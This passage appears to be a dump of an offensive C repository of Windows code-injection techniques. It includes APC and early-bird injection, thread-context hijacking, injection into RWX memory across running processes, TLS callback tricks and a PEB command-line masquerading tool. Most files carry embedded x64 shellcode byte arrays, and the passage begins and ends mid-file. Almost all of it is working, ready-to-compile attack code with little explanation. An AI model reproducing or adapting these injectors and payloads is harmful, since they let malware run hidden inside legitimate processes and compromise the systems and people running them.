"\xdd\xc8\x6e\xee\xfc\x9b\x02\x03\xe0\xcb\x83\x2c\x50\x08\x8a" 14 | "\x5f\xe9\x41\x10\xee\x36\x18\xf7\x46\xa0\x1a\xc9\x4e\x35\x5a" 15 | "\xcb\x0e\xe9\x4f\x82\xba\xda\x12\xca\xde\xf1\x41\x0a\xd6\xf9" 16 | "\xd1\x8b\x2e\xe8\xcb\x92\x2d\xeb\x12\x34\xc7\xe0\x41\x76\x46" 17 | "\xf5\x5b\x1d\x43\x90\x03\x0a\xff\x7d\xf6\x8a\xcf\x68\xc7\x03" 18 | "\xcf\x7c\x62\x2b\x7b\x50\x86\x41\x82\x99\x52\x8e\x37\x70\xbf" 19 | "\x9a\x96\xf9\xd1\x8b\x2a\xe8\xcb\x92\xa8\xfc\xd1\xc7\x46\xe5" 20 | "\x41\x02\xd2\xf4\x5b\x1b\x4f\x2a\xce\xca\x86\xbc\x8a\x8a\x56" 21 | "\xe0\x92\x1c\x97\xe7\x1b\x93\x4f\xf8\x8b\x18\x86\x3e\xb6\xeb" 22 | "\x4f\xf3\x35\xa2\x96\xfc\x03\x91\x46\x2a\xd8\xab\x99\x42\xa5" 23 | "\x34\x53\xe8\x74\x35\xbd\x8f\x05\xf8\x3c\xa1\xca\x03\x98\xf4" 24 | "\xd3\x2d\x46\x20\x26\xe2\xcf\xbd\x5a\x82\x87\x44\x83\xfe\xcc" 25 | "\xbd\x4b\x97\xce\x09\xf2\x43\x8f\xe9\x13\x42\xea\xed\x43\xb3" 26 | "\x8f\x07\x16\xbc\x28\xa6\x35\x97\x82\x34\xb0\xa3\x0f\xa0\xca" 27 | "\x42\x97\xfc\xe0\xe2\x8e\xca\xca\xbd\x1b\xed\x0a\x86\x3f\x68" 28 | "\x87\x73\x0e\xf5\xa5\x0b\x46\x28\x08\x0a\x31\x7d\x12\x42\xcf" 29 | "\xe0\x70\xa8\xc1\x62\xba\x34\xdb\xe9\x43\x85\xa4\xad\x1b\x93" 30 | "\x42\x28\x28\x0a\x47\x44\x1b\x71\x97\x04\xbe\x23\x31\x68\x12" 31 | "\x4a\xca\xe1\xc8\x42\xce\xf4\xe2\xa8\x63\xc5\xca\x42\xce\xbd" 32 | "\x5a\x8a\x5e\xe0\x9a\x0a\x47\x5f\x0d\x9c\x59\xec\xfb\x82\xa4" 33 | "\xb0\x03\x8a\x5e\x43\x36\x24\x09\xf9\x7e\x9f\x0f\xa0\x82\xcf" 34 | "\x8a\x99\x42\x0d\x0e\xc9\x82\xcb\x28\xeb\x0a\x8a\x5e\xe0\x9a" 35 | "\x03\x9e\xf4\xa5\x0b\x4f\xf1\x83\xbd\x06\xf0\xd3\x0a\x42\x28" 36 | "\x0b\x03\x74\xc4\x96\xf4\x88\x5e\x1f\x0a\xff\x6f\x12\x34\xc4" 37 | "\x2a\xc4\x03\x74\xb5\xdd\xd6\x6e\x5e\x1f\xf9\x3e\x08\xf8\x9d" 38 | "\x4f\x1b\x6c\xd7\x73\x20\xa5\x1e\x46\x22\x0e\x6a\xf2\xbb\x26" 39 | "\xc1\x8e\x5a\x2a\x37\xcb\x06\x1d\xd8\x7c\xce\xa0\x42\x97\xfc" 40 | "\xd3\x11\xf1\x74\xca\x42\xce\xbd"; 41 | 42 | typedef NTSTATUS(NTAPI *myNtTestAlert)(); 43 | 44 | int main(int argc, char *argv[]) 45 | { 46 | SIZE_T my_payload_len = sizeof(buf); 47 | HMODULE hNtdll = GetModuleHandleA("ntdll"); 48 | myNtTestAlert testAlert = (myNtTestAlert)(GetProcAddress(hNtdll, "NtTestAlert")); 49 | 50 | LPVOID my_payload_mem = VirtualAlloc(NULL, my_payload_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 51 | WriteProcessMemory(GetCurrentProcess(), my_payload_mem, buf, my_payload_len, NULL); 52 | 53 | PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)my_payload_mem; 54 | QueueUserAPC((PAPCFUNC)apcRoutine, GetCurrentThread(), NULL); 55 | testAlert(); 56 | 57 | return 0; 58 | } -------------------------------------------------------------------------------- /tls_callback_dynamic.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | // tls area 5 | ////////////////////////////////////////////////////////////////////// 6 | 7 | #if defined(_MSC_VER) 8 | #define _CRTALLOC(x) __declspec(allocate(x)) 9 | #elif defined(__GNUC__) 10 | #define _CRTALLOC(x) __attribute__((section(x))) 11 | #else 12 | #error Your compiler is not supported. 13 | #endif 14 | 15 | static void WINAPI tls_callback_static(HANDLE hDllHandle, DWORD dwReason, LPVOID __UNUSED_PARAM(lpReserved)); 16 | static void WINAPI tls_callback_dynamic(HANDLE hDllHandle, DWORD dwReason, LPVOID __UNUSED_PARAM(lpReserved)); 17 | 18 | _CRTALLOC(".CRT$XLF") 19 | PIMAGE_TLS_CALLBACK tls_callback_function = tls_callback_static; 20 | 21 | static void WINAPI tls_callback_static(HANDLE hDllHandle, DWORD dwReason, LPVOID __UNUSED_PARAM(lpReserved)) 22 | { 23 | if (dwReason == DLL_THREAD_ATTACH) 24 | { 25 | // This will be loaded in each DLL thread attach 26 | printf("TLS Callback: Thread Attach Triggered\n"); 27 | } 28 | 29 | if (dwReason == DLL_PROCESS_ATTACH) 30 | { 31 | printf("TLS Callback: Process Attach Triggered\n"); 32 | // DEBUG - Help understand how this is being stored in memory. 33 | printf("TLS Callback Addresses:\n\tFunction Address: %p\n\tCRT Callback Address: %p\n", 34 | tls_callback_static, &tls_callback_function); 35 | 36 | // The location of the next element in the array of TLS callbacks in memory 37 | PIMAGE_TLS_CALLBACK *dynamic_callback = (PIMAGE_TLS_CALLBACK *)&tls_callback_function + 1; 38 | 39 | // The default Page Permissions do not necessairly allow us to write to this 40 | // part of (our) memory. We need to set Write Permissions to the memory range 41 | // we'll be writing to (here only one callback, thus sizeof(dynamic_callback). 42 | // 43 | // Tip: This can be done slightly more stealthy by using the PEB to access 44 | // kernel32.dll and call this manually. 45 | DWORD old; 46 | VirtualProtect(dynamic_callback, sizeof(dynamic_callback), PAGE_EXECUTE_READWRITE, &old); 47 | 48 | // Finally, set the callback in memory, which is next in line to be 49 | // executed (in our case). 50 | *dynamic_callback = (PIMAGE_TLS_CALLBACK)tls_callback_dynamic; 51 | } 52 | } 53 | 54 | static void WINAPI tls_callback_dynamic(HANDLE hDllHandle, DWORD dwReason, LPVOID __UNUSED_PARAM(lpReserved)) 55 | { 56 | if (dwReason == DLL_THREAD_ATTACH) 57 | { 58 | // This will be loaded in each DLL thread attach 59 | printf("Dynamic TLS Callback: Thread Attach Triggered\n"); 60 | } 61 | 62 | if (dwReason == DLL_PROCESS_ATTACH) 63 | { 64 | printf("Dynamic TLS Callback: Process Attach Triggered\n"); 65 | 66 | // DEBUG - Help understand how this is being stored in memory. 67 | printf("TLS Callback Addresses:\n\tFunction Address: %p\n\tCRT Callback Address: %p\n", 68 | tls_callback_dynamic, &tls_callback_function + 1); 69 | } 70 | } 71 | 72 | ////////////////////////////////////////////////////////////////////// 73 | 74 | int main() 75 | { 76 | return 0; 77 | } 78 | -------------------------------------------------------------------------------- /shellcode_apc_earlybird.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | unsigned char buf[] = 4 | "\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff" 5 | "\xff\xff\x48\xbb\x5a\xcb\x0e\xa1\xca\x42\xce\xbd\x48\x31\x58" 6 | "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xa6\x83\x8d\x45\x3a\xaa" 7 | "\x0e\xbd\x5a\xcb\x4f\xf0\x8b\x12\x9c\xec\x0c\x83\x3f\x73\xaf" 8 | "\x0a\x45\xef\x3a\x83\x85\xf3\xd2\x0a\x45\xef\x7a\x83\x85\xd3" 9 | "\x9a\x0a\xc1\x0a\x10\x81\x43\x90\x03\x0a\xff\x7d\xf6\xf7\x6f" 10 | "\xdd\xc8\x6e\xee\xfc\x9b\x02\x03\xe0\xcb\x83\x2c\x50\x08\x8a" 11 | "\x5f\xe9\x41\x10\xee\x36\x18\xf7\x46\xa0\x1a\xc9\x4e\x35\x5a" 12 | "\xcb\x0e\xe9\x4f\x82\xba\xda\x12\xca\xde\xf1\x41\x0a\xd6\xf9" 13 | "\xd1\x8b\x2e\xe8\xcb\x92\x2d\xeb\x12\x34\xc7\xe0\x41\x76\x46" 14 | "\xf5\x5b\x1d\x43\x90\x03\x0a\xff\x7d\xf6\x8a\xcf\x68\xc7\x03" 15 | "\xcf\x7c\x62\x2b\x7b\x50\x86\x41\x82\x99\x52\x8e\x37\x70\xbf" 16 | "\x9a\x96\xf9\xd1\x8b\x2a\xe8\xcb\x92\xa8\xfc\xd1\xc7\x46\xe5" 17 | "\x41\x02\xd2\xf4\x5b\x1b\x4f\x2a\xce\xca\x86\xbc\x8a\x8a\x56" 18 | "\xe0\x92\x1c\x97\xe7\x1b\x93\x4f\xf8\x8b\x18\x86\x3e\xb6\xeb" 19 | "\x4f\xf3\x35\xa2\x96\xfc\x03\x91\x46\x2a\xd8\xab\x99\x42\xa5" 20 | "\x34\x53\xe8\x74\x35\xbd\x8f\x05\xf8\x3c\xa1\xca\x03\x98\xf4" 21 | "\xd3\x2d\x46\x20\x26\xe2\xcf\xbd\x5a\x82\x87\x44\x83\xfe\xcc" 22 | "\xbd\x4b\x97\xce\x09\xf2\x43\x8f\xe9\x13\x42\xea\xed\x43\xb3" 23 | "\x8f\x07\x16\xbc\x28\xa6\x35\x97\x82\x34\xb0\xa3\x0f\xa0\xca" 24 | "\x42\x97\xfc\xe0\xe2\x8e\xca\xca\xbd\x1b\xed\x0a\x86\x3f\x68" 25 | "\x87\x73\x0e\xf5\xa5\x0b\x46\x28\x08\x0a\x31\x7d\x12\x42\xcf" 26 | "\xe0\x70\xa8\xc1\x62\xba\x34\xdb\xe9\x43\x85\xa4\xad\x1b\x93" 27 | "\x42\x28\x28\x0a\x47\x44\x1b\x71\x97\x04\xbe\x23\x31\x68\x12" 28 | "\x4a\xca\xe1\xc8\x42\xce\xf4\xe2\xa8\x63\xc5\xca\x42\xce\xbd" 29 | "\x5a\x8a\x5e\xe0\x9a\x0a\x47\x5f\x0d\x9c\x59\xec\xfb\x82\xa4" 30 | "\xb0\x03\x8a\x5e\x43\x36\x24\x09\xf9\x7e\x9f\x0f\xa0\x82\xcf" 31 | "\x8a\x99\x42\x0d\x0e\xc9\x82\xcb\x28\xeb\x0a\x8a\x5e\xe0\x9a" 32 | "\x03\x9e\xf4\xa5\x0b\x4f\xf1\x83\xbd\x06\xf0\xd3\x0a\x42\x28" 33 | "\x0b\x03\x74\xc4\x96\xf4\x88\x5e\x1f\x0a\xff\x6f\x12\x34\xc4" 34 | "\x2a\xc4\x03\x74\xb5\xdd\xd6\x6e\x5e\x1f\xf9\x3e\x08\xf8\x9d" 35 | "\x4f\x1b\x6c\xd7\x73\x20\xa5\x1e\x46\x22\x0e\x6a\xf2\xbb\x26" 36 | "\xc1\x8e\x5a\x2a\x37\xcb\x06\x1d\xd8\x7c\xce\xa0\x42\x97\xfc" 37 | "\xd3\x11\xf1\x74\xca\x42\xce\xbd"; 38 | 39 | int main() 40 | { 41 | STARTUPINFO si; 42 | PROCESS_INFORMATION pi; 43 | LPVOID buf_routine; 44 | 45 | ZeroMemory(&si, sizeof(si)); 46 | ZeroMemory(&pi, sizeof(pi)); 47 | si.cb = sizeof(si); 48 | 49 | CreateProcessA( 50 | "C:\\Windows\\System32\\notepad.exe", 51 | NULL, NULL, NULL, FALSE, 52 | CREATE_SUSPENDED, NULL, NULL, &si, &pi); 53 | 54 | buf_routine = VirtualAllocEx(pi.hProcess, NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 55 | WriteProcessMemory(pi.hProcess, buf_routine, buf, sizeof(buf), NULL); 56 | 57 | PTHREAD_START_ROUTINE apc_routine = (PTHREAD_START_ROUTINE)buf_routine; 58 | QueueUserAPC((PAPCFUNC)apc_routine, pi.hThread, 0); 59 | 60 | ResumeThread(pi.hThread); 61 | 62 | return 0; 63 | } -------------------------------------------------------------------------------- /shellcode_find_rwx.c: -------------------------------------------------------------------------------- 1 | #include 2 | // #include 3 | #include 4 | 5 | unsigned char my_payload[] = 6 | // 64-bit meow-meow messagebox 7 | "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41" 8 | "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60" 9 | "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72" 10 | "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac" 11 | "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2" 12 | "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48" 13 | "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f" 14 | "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49" 15 | "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01" 16 | "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01" 17 | "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1" 18 | "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41" 19 | "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b" 20 | "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58" 21 | "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" 22 | "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7" 23 | "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e" 24 | "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83" 25 | "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd" 26 | "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" 27 | "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" 28 | "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e" 29 | "\x2e\x2e\x5e\x3d\x00"; 30 | 31 | int main(int argc, char *argv[]) 32 | { 33 | MEMORY_BASIC_INFORMATION m; 34 | PROCESSENTRY32 pe; 35 | LPVOID address = 0; 36 | HANDLE ph; 37 | HANDLE hSnapshot; 38 | BOOL hResult; 39 | pe.dwSize = sizeof(PROCESSENTRY32); 40 | 41 | hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 42 | if (INVALID_HANDLE_VALUE == hSnapshot) 43 | return -1; 44 | 45 | hResult = Process32First(hSnapshot, &pe); 46 | 47 | while (hResult) 48 | { 49 | ph = OpenProcess(MAXIMUM_ALLOWED, FALSE, pe.th32ProcessID); 50 | if (ph) 51 | { 52 | // skip explorer, crushes on injection 53 | if (!strcmp(pe.szExeFile, "explorer.exe")){ 54 | goto skip; 55 | } 56 | while (VirtualQueryEx(ph, address, &m, sizeof(m))) 57 | { 58 | address = (LPVOID)((DWORD_PTR)m.BaseAddress + m.RegionSize); 59 | if (m.AllocationProtect == PAGE_EXECUTE_READWRITE) 60 | { 61 | // printf("rwx memory successfully found at 0x%x :)\n", m.BaseAddress); 62 | WriteProcessMemory(ph, m.BaseAddress, my_payload, sizeof(my_payload), NULL); 63 | CreateRemoteThread(ph, NULL, NULL, (LPTHREAD_START_ROUTINE)m.BaseAddress, NULL, NULL, NULL); 64 | break; 65 | } 66 | } 67 | address = 0; 68 | } 69 | skip: 70 | hResult = Process32Next(hSnapshot, &pe); 71 | } 72 | CloseHandle(hSnapshot); 73 | CloseHandle(ph); 74 | return 0; 75 | } 76 | -------------------------------------------------------------------------------- /shellcode_apc.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | unsigned char my_payload[] = 4 | "\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff" 5 | "\xff\xff\x48\xbb\x5a\xcb\x0e\xa1\xca\x42\xce\xbd\x48\x31\x58" 6 | "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xa6\x83\x8d\x45\x3a\xaa" 7 | "\x0e\xbd\x5a\xcb\x4f\xf0\x8b\x12\x9c\xec\x0c\x83\x3f\x73\xaf" 8 | "\x0a\x45\xef\x3a\x83\x85\xf3\xd2\x0a\x45\xef\x7a\x83\x85\xd3" 9 | "\x9a\x0a\xc1\x0a\x10\x81\x43\x90\x03\x0a\xff\x7d\xf6\xf7\x6f" 10 | "\xdd\xc8\x6e\xee\xfc\x9b\x02\x03\xe0\xcb\x83\x2c\x50\x08\x8a" 11 | "\x5f\xe9\x41\x10\xee\x36\x18\xf7\x46\xa0\x1a\xc9\x4e\x35\x5a" 12 | "\xcb\x0e\xe9\x4f\x82\xba\xda\x12\xca\xde\xf1\x41\x0a\xd6\xf9" 13 | "\xd1\x8b\x2e\xe8\xcb\x92\x2d\xeb\x12\x34\xc7\xe0\x41\x76\x46" 14 | "\xf5\x5b\x1d\x43\x90\x03\x0a\xff\x7d\xf6\x8a\xcf\x68\xc7\x03" 15 | "\xcf\x7c\x62\x2b\x7b\x50\x86\x41\x82\x99\x52\x8e\x37\x70\xbf" 16 | "\x9a\x96\xf9\xd1\x8b\x2a\xe8\xcb\x92\xa8\xfc\xd1\xc7\x46\xe5" 17 | "\x41\x02\xd2\xf4\x5b\x1b\x4f\x2a\xce\xca\x86\xbc\x8a\x8a\x56" 18 | "\xe0\x92\x1c\x97\xe7\x1b\x93\x4f\xf8\x8b\x18\x86\x3e\xb6\xeb" 19 | "\x4f\xf3\x35\xa2\x96\xfc\x03\x91\x46\x2a\xd8\xab\x99\x42\xa5" 20 | "\x34\x53\xe8\x74\x35\xbd\x8f\x05\xf8\x3c\xa1\xca\x03\x98\xf4" 21 | "\xd3\x2d\x46\x20\x26\xe2\xcf\xbd\x5a\x82\x87\x44\x83\xfe\xcc" 22 | "\xbd\x4b\x97\xce\x09\xf2\x43\x8f\xe9\x13\x42\xea\xed\x43\xb3" 23 | "\x8f\x07\x16\xbc\x28\xa6\x35\x97\x82\x34\xb0\xa3\x0f\xa0\xca" 24 | "\x42\x97\xfc\xe0\xe2\x8e\xca\xca\xbd\x1b\xed\x0a\x86\x3f\x68" 25 | "\x87\x73\x0e\xf5\xa5\x0b\x46\x28\x08\x0a\x31\x7d\x12\x42\xcf" 26 | "\xe0\x70\xa8\xc1\x62\xba\x34\xdb\xe9\x43\x85\xa4\xad\x1b\x93" 27 | "\x42\x28\x28\x0a\x47\x44\x1b\x71\x97\x04\xbe\x23\x31\x68\x12" 28 | "\x4a\xca\xe1\xc8\x42\xce\xf4\xe2\xa8\x63\xc5\xca\x42\xce\xbd" 29 | "\x5a\x8a\x5e\xe0\x9a\x0a\x47\x5f\x0d\x9c\x59\xec\xfb\x82\xa4" 30 | "\xb0\x03\x8a\x5e\x43\x36\x24\x09\xf9\x7e\x9f\x0f\xa0\x82\xcf" 31 | "\x8a\x99\x42\x0d\x0e\xc9\x82\xcb\x28\xeb\x0a\x8a\x5e\xe0\x9a" 32 | "\x03\x9e\xf4\xa5\x0b\x4f\xf1\x83\xbd\x06\xf0\xd3\x0a\x42\x28" 33 | "\x0b\x03\x74\xc4\x96\xf4\x88\x5e\x1f\x0a\xff\x6f\x12\x34\xc4" 34 | "\x2a\xc4\x03\x74\xb5\xdd\xd6\x6e\x5e\x1f\xf9\x3e\x08\xf8\x9d" 35 | "\x4f\x1b\x6c\xd7\x73\x20\xa5\x1e\x46\x22\x0e\x6a\xf2\xbb\x26" 36 | "\xc1\x8e\x5a\x2a\x37\xcb\x06\x1d\xd8\x7c\xce\xa0\x42\x97\xfc" 37 | "\xd3\x11\xf1\x74\xca\x42\xce\xbd"; 38 | 39 | unsigned int my_payload_len = sizeof(my_payload); 40 | 41 | int main(int argc, char *argv[]) 42 | { 43 | // setup 44 | PROCESS_INFORMATION pi; 45 | STARTUPINFOA Startup; 46 | ZeroMemory(&Startup, sizeof(Startup)); 47 | ZeroMemory(&pi, sizeof(pi)); 48 | 49 | CreateProcessA("Z:\\git\\offensive_c\\bin\\sleep_alertable.exe", NULL, NULL, NULL, 0, NORMAL_PRIORITY_CLASS, NULL, NULL, &Startup, &pi); 50 | WaitForSingleObject(pi.hProcess, 1 * 1000); 51 | // 52 | 53 | HANDLE ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId); 54 | LPVOID rb = VirtualAllocEx(ph, NULL, my_payload_len, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 55 | WriteProcessMemory(ph, rb, my_payload, my_payload_len, NULL); 56 | HANDLE ht = OpenThread(THREAD_SET_CONTEXT, FALSE, pi.dwThreadId); 57 | 58 | QueueUserAPC((PAPCFUNC)rb, ht, 0); 59 | 60 | return 0; 61 | } -------------------------------------------------------------------------------- /shellcode_thread_hijack.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | unsigned char my_payload[] = 4 | "\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff" 5 | "\xff\xff\x48\xbb\x5a\xcb\x0e\xa1\xca\x42\xce\xbd\x48\x31\x58" 6 | "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xa6\x83\x8d\x45\x3a\xaa" 7 | "\x0e\xbd\x5a\xcb\x4f\xf0\x8b\x12\x9c\xec\x0c\x83\x3f\x73\xaf" 8 | "\x0a\x45\xef\x3a\x83\x85\xf3\xd2\x0a\x45\xef\x7a\x83\x85\xd3" 9 | "\x9a\x0a\xc1\x0a\x10\x81\x43\x90\x03\x0a\xff\x7d\xf6\xf7\x6f" 10 | "\xdd\xc8\x6e\xee\xfc\x9b\x02\x03\xe0\xcb\x83\x2c\x50\x08\x8a" 11 | "\x5f\xe9\x41\x10\xee\x36\x18\xf7\x46\xa0\x1a\xc9\x4e\x35\x5a" 12 | "\xcb\x0e\xe9\x4f\x82\xba\xda\x12\xca\xde\xf1\x41\x0a\xd6\xf9" 13 | "\xd1\x8b\x2e\xe8\xcb\x92\x2d\xeb\x12\x34\xc7\xe0\x41\x76\x46" 14 | "\xf5\x5b\x1d\x43\x90\x03\x0a\xff\x7d\xf6\x8a\xcf\x68\xc7\x03" 15 | "\xcf\x7c\x62\x2b\x7b\x50\x86\x41\x82\x99\x52\x8e\x37\x70\xbf" 16 | "\x9a\x96\xf9\xd1\x8b\x2a\xe8\xcb\x92\xa8\xfc\xd1\xc7\x46\xe5" 17 | "\x41\x02\xd2\xf4\x5b\x1b\x4f\x2a\xce\xca\x86\xbc\x8a\x8a\x56" 18 | "\xe0\x92\x1c\x97\xe7\x1b\x93\x4f\xf8\x8b\x18\x86\x3e\xb6\xeb" 19 | "\x4f\xf3\x35\xa2\x96\xfc\x03\x91\x46\x2a\xd8\xab\x99\x42\xa5" 20 | "\x34\x53\xe8\x74\x35\xbd\x8f\x05\xf8\x3c\xa1\xca\x03\x98\xf4" 21 | "\xd3\x2d\x46\x20\x26\xe2\xcf\xbd\x5a\x82\x87\x44\x83\xfe\xcc" 22 | "\xbd\x4b\x97\xce\x09\xf2\x43\x8f\xe9\x13\x42\xea\xed\x43\xb3" 23 | "\x8f\x07\x16\xbc\x28\xa6\x35\x97\x82\x34\xb0\xa3\x0f\xa0\xca" 24 | "\x42\x97\xfc\xe0\xe2\x8e\xca\xca\xbd\x1b\xed\x0a\x86\x3f\x68" 25 | "\x87\x73\x0e\xf5\xa5\x0b\x46\x28\x08\x0a\x31\x7d\x12\x42\xcf" 26 | "\xe0\x70\xa8\xc1\x62\xba\x34\xdb\xe9\x43\x85\xa4\xad\x1b\x93" 27 | "\x42\x28\x28\x0a\x47\x44\x1b\x71\x97\x04\xbe\x23\x31\x68\x12" 28 | "\x4a\xca\xe1\xc8\x42\xce\xf4\xe2\xa8\x63\xc5\xca\x42\xce\xbd" 29 | "\x5a\x8a\x5e\xe0\x9a\x0a\x47\x5f\x0d\x9c\x59\xec\xfb\x82\xa4" 30 | "\xb0\x03\x8a\x5e\x43\x36\x24\x09\xf9\x7e\x9f\x0f\xa0\x82\xcf" 31 | "\x8a\x99\x42\x0d\x0e\xc9\x82\xcb\x28\xeb\x0a\x8a\x5e\xe0\x9a" 32 | "\x03\x9e\xf4\xa5\x0b\x4f\xf1\x83\xbd\x06\xf0\xd3\x0a\x42\x28" 33 | "\x0b\x03\x74\xc4\x96\xf4\x88\x5e\x1f\x0a\xff\x6f\x12\x34\xc4" 34 | "\x2a\xc4\x03\x74\xb5\xdd\xd6\x6e\x5e\x1f\xf9\x3e\x08\xf8\x9d" 35 | "\x4f\x1b\x6c\xd7\x73\x20\xa5\x1e\x46\x22\x0e\x6a\xf2\xbb\x26" 36 | "\xc1\x8e\x5a\x2a\x37\xcb\x06\x1d\xd8\x7c\xce\xa0\x42\x97\xfc" 37 | "\xd3\x11\xf1\x74\xca\x42\xce\xbd"; 38 | 39 | unsigned int my_payload_len = sizeof(my_payload); 40 | 41 | int main(int argc, char *argv[]) 42 | { 43 | HANDLE ph; // process handle 44 | HANDLE ht; // thread handle 45 | LPVOID rb; // remote buffer 46 | 47 | CONTEXT ct; 48 | 49 | // 50 | PROCESS_INFORMATION pi; 51 | STARTUPINFOA Startup; 52 | ZeroMemory(&Startup, sizeof(Startup)); 53 | ZeroMemory(&pi, sizeof(pi)); 54 | 55 | CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, 0, NORMAL_PRIORITY_CLASS, NULL, NULL, &Startup, &pi); 56 | WaitForSingleObject(pi.hProcess, 1 * 1000); 57 | // 58 | 59 | ct.ContextFlags = CONTEXT_FULL; 60 | 61 | ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId);//(DWORD)pid); 62 | rb = VirtualAllocEx(ph, NULL, my_payload_len, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 63 | WriteProcessMemory(ph, rb, my_payload, my_payload_len, NULL); 64 | 65 | ht = OpenThread(THREAD_ALL_ACCESS, FALSE, pi.dwThreadId); 66 | 67 | // suspend target thread 68 | SuspendThread(ht); 69 | GetThreadContext(ht, &ct); 70 | // update register (RIP) 71 | ct.Rip = (DWORD_PTR)rb; 72 | SetThreadContext(ht, &ct); 73 | ResumeThread(ht); 74 | 75 | CloseHandle(ph); 76 | return 0; 77 | } -------------------------------------------------------------------------------- /todo/masqueradeCmdline.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * masqueradeCmdline.cpp 3 | * 4 | * basic idea from: 5 | * www.ired.team/offensive-security/defense-evasion/masquerading-processes-in-userland-through-_peb 6 | * 7 | * Windows APT Warfare 8 | * by aaaddress1@chroot.org 9 | */ 10 | 11 | #include 12 | #include 13 | #include 14 | #pragma warning(disable : 4996) 15 | typedef struct m_RTL_USER_PROCESS_PARAMETERS 16 | { 17 | ULONG MaximumLength; 18 | ULONG Length; 19 | ULONG Flags; 20 | ULONG DebugFlags; 21 | PVOID ConsoleHandle; 22 | ULONG ConsoleFlags; 23 | HANDLE StdInputHandle; 24 | HANDLE StdOutputHandle; 25 | HANDLE StdErrorHandle; 26 | UNICODE_STRING CurrentDirectoryPath; 27 | HANDLE CurrentDirectoryHandle; 28 | UNICODE_STRING DllPath; 29 | UNICODE_STRING ImagePathName; 30 | UNICODE_STRING CommandLine; 31 | }; 32 | 33 | m_RTL_USER_PROCESS_PARAMETERS *readFullPage_RtlusrProcParam(HANDLE hProcess, LPVOID whereParamAt) 34 | { 35 | // fetch the max_size of that memory page. 36 | m_RTL_USER_PROCESS_PARAMETERS tmpUsrProcParam = {}; 37 | ReadProcessMemory(hProcess, whereParamAt, &tmpUsrProcParam, sizeof(tmpUsrProcParam), 0); 38 | 39 | // read the used data of the current struct in that page. 40 | m_RTL_USER_PROCESS_PARAMETERS *retUsrProcParam = (m_RTL_USER_PROCESS_PARAMETERS *)new byte[tmpUsrProcParam.MaximumLength + 0x1000]; 41 | memset(retUsrProcParam, '\x00', tmpUsrProcParam.MaximumLength + 0x1000); 42 | ReadProcessMemory(hProcess, whereParamAt, retUsrProcParam, tmpUsrProcParam.MaximumLength, 0); 43 | 44 | retUsrProcParam->MaximumLength += 0x1000; 45 | return retUsrProcParam; 46 | } 47 | 48 | // UAF method found. To fix abug at Win10 M$ application loader 49 | // thanks to inndy.tw@gmail.com 50 | size_t refresh_allocSizeOfUsrProcParam(HANDLE hProcess, LPVOID whereStructAt, size_t newSize) 51 | { 52 | if (!VirtualFreeEx(hProcess, whereStructAt, 0, MEM_RELEASE)) 53 | return 0; 54 | return (size_t)VirtualAllocEx(hProcess, whereStructAt, newSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 55 | } 56 | 57 | int wmain(int argc, wchar_t **argv) 58 | { 59 | if (argc < 3) 60 | { 61 | puts("usage: mqCmdline [path/to/exe] [arg/to/pass]"); 62 | puts(" e.g. mqCmdline cmd.exe /c echo 30cm.tw & pause"); 63 | return 0; 64 | } 65 | 66 | PROCESS_INFORMATION PI = {}; 67 | STARTUPINFO SI = {}; 68 | CONTEXT CTX = {CONTEXT_FULL}; 69 | 